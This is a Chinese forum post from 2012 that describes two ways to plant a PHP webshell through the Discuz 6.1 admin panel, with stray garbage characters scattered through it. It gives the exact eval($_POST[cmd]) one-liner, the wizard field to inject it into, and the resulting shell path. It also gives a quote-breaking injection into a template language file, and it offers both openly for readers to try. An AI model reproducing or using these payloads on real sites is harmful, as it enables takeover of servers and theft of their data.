discuz6.1两种方法后台拿shell3 _* p- f7 q6 u/ c
好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下( z, Z* ]( j8 m& e- J
1:
$ J0 m4 @- b' _8 D$ k5 `http://127.0.0.1/discuz/admincp. ... zard&frames=yes0 g4 a" w- u6 M5 m5 }
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
( G1 U" G3 o% n<?php eval($_POST[cmd]);?>$ a2 i P+ y) l* W" A+ Y
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php. Y% |; }6 f7 ^ E! P
3 w6 q, J4 y8 I6 \
. `' q+ }- i) @2:后台模板管理--默认模板套系--详情2 b4 v ^$ q% X
templates/default/actions.lang.php
; P) m% t J B. L% ljhackj\\');eval($_POST[cmd])?>;//2 Y; s5 L5 U9 F/ Y7 ?( i
_+ |1 `$ ~2 L+ t* n8 c8 f
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对